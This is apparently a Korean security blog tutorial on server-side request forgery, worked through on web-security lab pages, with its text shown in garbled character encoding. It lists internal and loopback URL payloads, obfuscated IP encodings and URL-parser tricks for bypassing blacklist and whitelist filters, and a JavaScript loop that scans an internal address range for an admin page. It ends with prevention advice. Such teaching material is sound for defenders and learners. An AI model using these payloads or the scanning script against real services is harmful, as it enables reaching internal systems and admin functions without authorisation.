ν‹°μŠ€ν† λ¦¬ λ·°

κ°œμš”

SSRFλŠ” Server Side Request Forgery의 μ•½μžλ‘œ μœ μ‚¬ν•œ 이름을 가진 CSRF(Cross Site Request Forgery) μ™€λŠ” λ‹€λ₯΄κ²Œ ν΄λΌμ΄μ–ΈνŠΈ 츑의 μš”μ²­μ„ λ³€μ‘°μ‹œν‚€λŠ” 것이 μ•„λ‹Œ μ„œλ²„ μΈ‘ 자체의 μš”μ²­μ„ λ³€μ‘°ν•˜μ—¬ κ³΅κ²©μžκ°€ μ›ν•˜λŠ” ν˜•νƒœμ˜ μ•…μ„± ν–‰μœ„λ₯Ό μ„œλ²„μ— 던져주면 μ„œλ²„κ°€ 검증 없이 κ·ΈλŒ€λ‘œ λ°›μ•„ 그의 λ”°λ₯Έ 행동/응닡을 ν•΄μ£ΌλŠ” κ³΅κ²©μž…λ‹ˆλ‹€.

 

일반적으둜 λ§€κ°œλ³€μˆ˜μ— HTTP μš”청을 ν†΅ν•΄ μ μ ˆν•œ μ‘닡을 λ°›μ„ 수 μžˆλ‹€λ©΄ μΆ©λΆ„νžˆ μ‹œλ„ν•΄λ³Ό λ§Œν•œ κ³΅κ²©μœΌλ‘œ μ΅œκ·Ό λ“€μ–΄ λ©€ν‹° ν΄λΌμš°λ“œ ν™˜κ²½μ—μ„œ μ£Όλ‘œ μ“°μ΄λŠ” λ©”타 λ°μ΄ν„° APIλŠ” μΈν”„라 λ‚΄μ˜ κ΅¬μ„±, λ‘œκ·Έ, μΈμ¦, λ‹€μ–‘ν•œ λ°μ΄ν„°μ— λ‘œμ»¬μ—μ„œλ§Œ μ•‘μ„ΈμŠ€ ν•  μˆ˜ μžˆμŠ΅λ‹ˆλ‹€. λ§Œμ•½ SSRF μ·¨μ•½μ μ΄ μ‘΄μž¬ν•  κ²½μš° λ‚΄λΆ€μ— μˆ¨κ²¨μ§„ λ„€νŠΈμ›Œν¬μ— μžˆλ”라도 κ³΅κ²©μžμ˜ μ›Ήμ—μ„œ μš”μ²­ν•˜λŠ” λ©”타데이터λ₯Ό μ‘°μž‘ν•˜μ—¬ λ‚΄λΆ€ μ‹œμŠ€ν…œ μ •μ°°κ³Ό λ‹€μ–‘ν•œ μžκ²©μ¦λͺ…을 ν˜ΈμΆœν•  κ°€λŠ₯성이 μ‘΄μž¬ν•©λ‹ˆλ‹€.

 

자주 λ°œμƒλ˜λŠ” μ·¨μ•½μ μ€ μ•„λ‹ˆμ§€λ§Œ νŒŒκΈ‰νš¨κ³Όκ°€ ν° μ·¨μ•½μ μž…λ‹ˆλ‹€. μ΄λŸ¬ν•œ μ΄μŠˆκ°€ λ°œμƒν•˜λŠ” λŒ€λΆ€λΆ„μ˜ μ΄μœ λŠ” μ‚¬μš©μžλ“€μ˜ μž…λ ₯값을 μ œλŒ€λ‘œ κ²€μ¦ν•˜μ§€ μ•ŠλŠ” λ¬Έμ œλ„ μžˆμ§€λ§Œ μ•„λ¬΄λž˜λ„ λ‚΄λΆ€ μ‚¬μ„€λ‘œλ§Œ μ΄λ£¨μ–΄μ Έ 있고 μ™ΈλΆ€μ—μ„œ μ ‘근이 λΆˆκ°€λŠ₯ν•  것이라 νŒλ‹¨ν•˜μ—¬ λ³΄μ•ˆμ— λŒ€ν•΄ μ‘°κΈˆ μ†Œν™€ν•΄μ§€λŠ” 것도 λ¬Έμ œμž…λ‹ˆλ‹€. 

 

아무리 λΆ„λ¦¬λœ λ‚΄λΆ€ λ„€νŠΈμ›Œν¬λ‹€ ν•˜λ”λΌλ„ μš°λ¦¬μ—κ²Œ λ³΄μ΄λŠ” μ„œλΉ„μŠ€κ°€ λ‚΄/μ™ΈλΆ€ μ‹œμŠ€ν…œκ³Ό μ‘°κΈˆμ΄λΌλ„ μƒν˜Έμž‘μš©μ„ ν•œλ‹€λ©΄ μ΄λŠ” λ°˜λŒ€λ‘œ 접근을 μ‹œλ„ν•  수 μžˆλ‹€λŠ” μ–˜κΈ°μž…λ‹ˆλ‹€.

 

μ—¬κΈ°μ„œ λ§ν•˜λŠ” μƒν˜Έμž‘μš©μ΄λž€ νŽ˜μ΄μ§€ λ²ˆμ—­ κΈ°λŠ₯을 ν˜ΈμΆœν•˜μ—¬ λ²ˆμ—­μ„ ν•˜κ±°λ‚˜, λ§ν¬ μ‚½μž…μ‹œ μΈλ„€μΌ μ΄λ―Έμ§€ ν˜ΈμΆœ, μ™ΈλΆ€μ˜ λ°μ΄ν„°λ₯Ό λ‹€μš΄λ‘œλ“œ λ° μ €μž₯ν•  경우, μ›Ή ν›…μœΌλ‘œ μ΄λ²€νŠΈ λ°œμƒ μ‹œ μ§€μ •λœ URL둜 μ½œλ°± μš”μ²­ν•˜μ—¬ λ‹€λ₯Έ μ„œλΉ„μŠ€μ—κ²Œ μ΄ μ‚¬μ‹€μ„ μ•Œλ¦¬λŠ” ν™˜κ²½μ—μ„œ μ£Όλ‘œ λ°œμƒν•©λ‹ˆλ‹€.

<Basic Loopback>
http://localhost:80
http://localhost:8080
http://127.0.0.1:80
http://127.0.0.1:8080
http://192.168.0.1:80
http://192.168.0.1:8080
http://192.168.1.1:80
http://192.168.1.1:8080
 

 

Find Back-End System

ν•΄λ‹Ή νŽ˜μ΄μ§€μ˜ 재고 확인 λ²„νŠΌμ„ λˆ„λ₯΄λ©΄ stockApi λ³€μˆ˜λ₯Ό 톡해 λ‚΄λΆ€ μ‹œμŠ€ν…œκ³Ό μƒν˜Έμž‘μš©ν•˜μ—¬ μ œν’ˆμ˜ 보유 개수λ₯Ό ν™•μΈν•˜μ—¬ μ‘λ‹΅ν•΄μ£ΌλŠ” νŽ˜μ΄μ§€κ°€ μ‘΄μž¬ν•©λ‹ˆλ‹€.

 

재고λ₯Ό 확인할 수 μžˆλŠ” μƒλŒ€ κ²½λ‘œλŠ” μ œκ±°ν•˜κ³  λ‚΄λΆ€ μ‹œμŠ€ν…œμ˜ λŒ€μ—­μ΄ 192.168.0.x:8080에 μ‘΄μž¬ν•  κ²ƒμ΄λΌλŠ” κ±Έ μ΄μš©ν•˜μ—¬ μ™ΈλΆ€μ—μ„œ λ…ΈμΆœλ˜μ§€ μ•ŠλŠ” /admin νŽ˜μ΄μ§€κ°€ μžˆλŠ”μ§€ μš”μ²­μ„ 보낼 수 μžˆμŠ΅λ‹ˆλ‹€.

 

Numbers νŽ˜μ΄λ‘œλ“œλ₯Ό ν™œμš©ν•˜μ—¬ 192.168.0.x:8080 "x" μžλ¦¬μ— 숫자 1μ”© μ¦κ°€μ‹œμΌœ HTTP 응닡 μ½”λ“œκ°€ λ‹€λ₯΄κ²Œ λ‚˜μ˜¨ 자릿수λ₯Ό 확인할 수 μžˆμŠ΅λ‹ˆλ‹€. 200 μ½”λ“œλ₯Ό μ‘λ‹΅ν•œ κ²ƒμœΌλ‘œ 보아 λ‚΄λΆ€ μ‹œμŠ€ν…œμ΄ 192.168.0.153 μ£Όμ†Œλ₯Ό 가진 것을 μ•Œμ•˜μŠ΅λ‹ˆλ‹€.

 

Reapter κΈ°λŠ₯을 μ‚¬μš©ν•˜μ—¬ 153 λŒ€μ—­μ— μš”μ²­μ„ 날렀보면 μ™ΈλΆ€μ—μ„œ ν™•μΈλ˜μ§€ μ•Šμ•˜λ˜ URi 정보λ₯Ό νšλ“ν•  수 μžˆμŠ΅λ‹ˆλ‹€. λ…ΈμΆœλœ URi 정보λ₯Ό 톡해 κ΄€λ¦¬μž 계정을 μ‚­μ œν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

for(var i = 0; i <=255; i++) {
	var x = new XMLHttpRequest();
	x.open('POST','https://acf51f0d1ff7e0b981797fca004900d5.web-security-academy.net/product/stock',false);
	x.setRequestHeader('Content-Type','application/x-www-form-urlencoded; charset=UTF-8');
	
	x.send('stockApi=http://192.168.0.' + i.toString() + ':8080/admin');
	console.log(i, x.status);
	
	if(x.status == '200'){
		break;
	}
}

버프 μŠ€μœ„νŠΈ 이외에 κ°„λ‹¨ν•œ jsμ½”λ“œλ₯Ό ν™œμš©ν•˜μ—¬ μ½˜μ†”μ— 찍어보싀 μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€. μ•„λ¬΄λž˜λ„ 버프 μŠ€μœ„νŠΈλ³΄λ‹€ μš”μ²­/응닡 속도가 λΉ λ₯΄κΈ° λ•Œλ¬Έμ— 유용히 쓰일 수 μžˆμŠ΅λ‹ˆλ‹€.

 

μ§€μ •λœ μœ„μΉ˜μ— 1μ”© 값을 μ¦κ°€μ‹œμΌœ if(x.status == '200')λ₯Ό 톡해 μ‘΄μž¬ν•˜λŠ” IP Address인 경우 μœ„μ²˜λŸΌ ν‘œμ‹œκ°€ λ©λ‹ˆλ‹€.

 

 

Blacklist FIlter Bypass

λŒ€λΆ€λΆ„ μ‹œμŠ€ν…œμ—μ„œλŠ” 자칫 λ¬Έμ œκ°€ λ°œμƒν•  수 μžˆλŠ” 루프백 μ£Όμ†Œ "localhost", "127.0.0.1"에 λŒ€ν•œ μš”μ²­μ„ μ°¨λ‹¨ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€. ν•˜μ§€λ§Œ μΆ”κ°€μ μœΌλ‘œ 검증을 ν•˜μ§€ μ•ŠμœΌλ©΄ 이 λ˜ν•œ μš°νšŒκ°€ κ°€λŠ₯ν•©λ‹ˆλ‹€.

 

λ‹€μ–‘ν•œ 우회 νŒ¨ν„΄μ΄ μ‘΄μž¬ν•˜μ§€λ§Œ κ·Έμ€‘μ—μ„œ 주둜 μ‚¬μš©λ˜λŠ” 방법은 IP Obfuscation(λ‚œλ…ν™”)λ₯Ό 톡해 λΈ”λž™λ¦¬μŠ€νŠΈμ˜ ν•­λͺ©μ—μ„œ λ²—μ–΄λ‚  수 μžˆμŠ΅λ‹ˆλ‹€.

*λ‚œλ…ν™” κ΄€λ ¨ ν¬μŠ€νŒ€

guleum-zone.tistory.com/162?category=441533

 

IP Address Obfuscation(λ‚œλ…ν™”)

κ°œμš” λ‚œλ…ν™”λž€ μ†Œν”„νŠΈμ›¨μ–΄ μΈ‘λ©΄μ—μ„œ 일반적인 μ‚¬λžŒλ“€μ΄ μ΄ν•΄ν•˜κΈ° μ–΄λ ΅κ²Œ λ˜λŠ” 역뢄석(Reverse engineering)을 μ§€μ—°μ‹œν‚€κΈ° μœ„ν•΄ μ˜λ„μ μœΌλ‘œ μˆ¨κΈ°λŠ” ν–‰μœ„μž…λ‹ˆλ‹€. ν•˜μ§€λ§Œ λ°˜λŒ€λ‘œ μ•…μ˜μ μΈ μ‚¬μš©μžλ“€μ€ "

guleum-zone.tistory.com

<Blacklist Bypass>
http://127.0.1
http://127.1
http://0:8080
http://0.0.0.0:80
http://2130706433 => 127.0.0.1
http://0x7f000001 => 127.0.0.1
http://0177.0000.0000.0001 => 127.0.0.1
http://%3127%2E%30%2E%30%2E%31 => 127.0.0.1
http://3232235521 => 192.168.0.1
http://0xc0a80001 => 192.168.0.1
http://0300.0250.0000.0001 => 192.168.0.1
http://%3192%2E%3168%2E%30%2E%31 => 192.168.0.1
http://3232235777 => 192.168.1.1
http://0xc0a80101 => 192.168.1.1
http://0300.0250.0001.0001 => 192.168.1.1
http://%3192%2E%3168%2E%31%2E%31 => 192.168.1.1

 

Whitelist Filter Bypass

μ–΄λŠ 정도 필터링λ₯Ό μˆ˜ν–‰ν•˜κ³  μžˆλŠ” 경우 "Whitelist"방식을 μ‚¬μš©ν•˜μ—¬ μ§€μ •λœ λͺ©μ μ§€κ°€ μ•„λ‹Œ 경우 μ°¨λ‹¨ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€. 사싀 μ΄λŸ¬ν•œ ν™˜κ²½μ„ λ§ˆμ£Όν•˜κ²Œ 될 경우 λ²—μ–΄λ‚˜κΈ°κ°€ 쉽지 μ•Šμ§€λ§Œ μœ„μ²˜λŸΌ ν—ˆμš© 도메인 νŒ¨ν„΄μ„ μ•Œμ•„λ‚΄λ©΄ 우회 κ°€λŠ₯성이 μ‘΄μž¬ν•©λ‹ˆλ‹€.

 

ν•΄λ‹Ή νŽ˜μ΄μ§€μ˜ 경우 ν—ˆμš©λœ 도메인인 "stock.weliketoshop.net"이 νŒŒλΌλ―Έν„° μ•ˆμ— ν¬ν•¨λ˜μ–΄ μžˆλŠ”μ§€ λ¨Όμ € 검증을 ν•˜κ³  μ‘΄μž¬ν•  경우 μš”μ²­μ„ 받아듀이고 μ‹€ν–‰ν•©λ‹ˆλ‹€.

 

λ§Œμ•½ μ§€μ •λœ κ²½λ‘œμ— λŒ€ν•΄ ν™”μ΄νŠΈ λ¦¬μŠ€νŠΈ λ˜λŠ” λΈ”λž™λ¦¬μŠ€νŠΈ κΈ°λ°˜μœΌλ‘œ URL κ²€μ¦μ„ ν•œλ‹€ ν•˜λ”라도 μž…λ ₯된 λ°μ΄ν„°κ°€ μ˜¬λ°”λ₯Έμ§€ μ² μ €ν•˜κ²Œ κ²€μ¦ν•˜μ§€ μ•Šμ„ 경우 URL Parser의 νŠΉμ§•μ„ μ΄μš©ν•΄ μš°νšŒκ°€ κ°€λŠ₯ν•©λ‹ˆλ‹€.

<Whitelist Bypass>
https://www.naver.com#www.daum.net
https://www.naver.com@www.daum.net
https://www.naver.com#\@www.daum.net
https://www.naver.com/#///www.daum.net
https://www.naver.com#.#www.daum.net
https://www.naver.com&@www.daum.net
https://www.naver.com:x@www.daum.net
https://www.naver.com%2523@www.daum.net
https://www.naver.com/#/**/www.daum.net
https://www.naver.com#\@www.daum.net
https://www.naver.com/\?url=https://www.daum.net
https://1.1.1.1 &@www.daum.net# @3.3.3.3
https://1.1.1.1%0D0A&@www.daum.net#%0D0A@3.3.3.3

 

Using Open Redirect

λŒ€μƒ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ— Open Redirect κ΄€λ ¨ μ·¨μ•½μ μ΄ μ‘΄μž¬ν•  경우 ν•΄λ‹Ή νŽ˜μ΄μ§€κ°€ Back-End λ°©ν–₯으둜 API μš”청을 μ‚¬μš©ν•œλ‹€λ©΄ ν•΄λ‹Ή λ³€μˆ˜μ— μš°λ¦¬κ°€ κ°€κ³ μž ν•˜λŠ” λ‚΄λΆ€ κ²½λ‘œλ‘œ λ³€κ²½ν•˜μ—¬ μ‘λ‹΅ 값에 λ”°λ₯Έ μΆ”둠을 ν•  μˆ˜ μžˆμŠ΅λ‹ˆλ‹€.

 

ν•΄λ‹Ή νŽ˜μ΄μ§€λŠ” StockAPIλ³€μˆ˜μ˜ κ°’ 쀑에 ν—ˆμš©λœ μ£Όμ†Œκ°€ μ‘΄μž¬ν•˜λŠ”μ§€ κ²€μ¦ν•˜μ§€ μ•Šκ³  있으며 μ‘΄μž¬ν•˜λŠ” μƒν’ˆμœΌλ‘œ κ°€λŠ” 도메인 경둜λ₯Ό λ‚΄λΆ€ μ‹œμŠ€ν…œ μ£Όμ†Œλ‘œ μš”μ²­(192.168.0.1:8080)을 보내본 κ²°κ³Ό μœ λ… λ‹€λ₯Έ 404번 응닡이 ν™•μΈλ©λ‹ˆλ‹€.

 

8080/"inject!!" μƒμ„Έν•œ 경둜λ₯Ό ν™•μΈν•˜κΈ° μœ„ν•΄ 직접 값을 μž…λ ₯ν•˜κ±°λ‚˜ 사전 λŒ€μž… 곡격을 ν•˜μ—¬ μœ„μ²˜λŸΌ 응닡 μ†ŒμŠ€κ°€ λ‚˜νƒ€λ‚œλ‹€λ©° μ„±κ³΅μ μœΌλ‘œ accessκ°€ 된 κ²ƒμž…λ‹ˆλ‹€.

 

λ‚΄λΆ€μ—μ„œλ§Œ 확인이 κ°€λŠ₯ν•œ 도메인을 μ—­μœΌλ‘œ μš”μ²­ν•˜μ—¬ 직접 μš”μ²­μ„ ν•˜λŠ” 것이 μ•„λ‹Œ μΈ‘λ©΄ 곡격을 톡해 μ›ν•˜λŠ” μ•…μ„± ν–‰μœ„κ°€ κ°€λŠ₯ν•΄μ§‘λ‹ˆλ‹€.


SSRF λ₯Ό μ˜ˆλ°©ν•˜κΈ° μœ„ν•΄

SSRF에 λŒ€ν•œ 곡격 λ²‘ν„°λŠ” ꡉμž₯히 λ‹€μ–‘ν•˜λ©° μ΄λŸ¬ν•œ 곡격을 막기 μœ„ν•΄μ„  ν•œ 가지 츑면이 μ•„λ‹Œ μ—¬λŸ¬ 츑면을 μƒκ°ν•˜μ—¬ 쑰치λ₯Ό μ·¨ν•΄μ£Όμ…”μ•Ό λ©λ‹ˆλ‹€.

 

첫 번째둜 제일 μ€‘μš”ν•œ 것은 λ‚΄λΆ€ μ‹œμŠ€ν…œκ³Ό μƒν˜Έ μž‘μš©ν•˜λŠ” λ³€μˆ˜μ— λΆˆν•„μš”ν•œ 값이 μž…λ ₯될 경우 무효처리λ₯Ό ν•΄μ•Ό λ©λ‹ˆλ‹€.

 

두 번째둜 λ³€μˆ˜μ— μž…λ ₯된 μ£Όμ†Œκ°€ μ˜¬λ°”λ₯Έ μ£Όμ†Œκ°€ λ§žλŠ”μ§€ 즉 μ‹ λ’°ν•˜λŠ” μ£Όμ†Œκ°€ λ§žλŠ”μ§€ μž¬κ²€μ¦μ„ ν•΄μ•Ό λ©λ‹ˆλ‹€.

 

μ„Έ 번째둜 μ—¬λŸ¬ 우회 곡격 기법 쀑에 λŒ€μƒ μ‚¬μ΄νŠΈμ— λŒ€ν•œ μ‹ λ’°ν•  수 μžˆλŠ” 도메인과 루프백 μ£Όμ†Œλ₯Ό 맀칭 ν•˜μ—¬ 지정해둔 도메인을 μš”μ²­ν•˜λŠ” κ²½μš°κ°€ μ‘΄μž¬ν•˜κΈ° λ•Œλ¬Έμ— μš”μ²­ μ‹œ 도메인 이름에 λŒ€ν•œ 검증도 μˆ˜ν–‰ν•΄μ£Όμ‹œλŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€.

 

*Reference

book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery

code-machina.github.io/2019/09/25/Server-Side-Request-Forgery-Prevention.html

κ³΅μœ ν•˜κΈ° 링크
Comment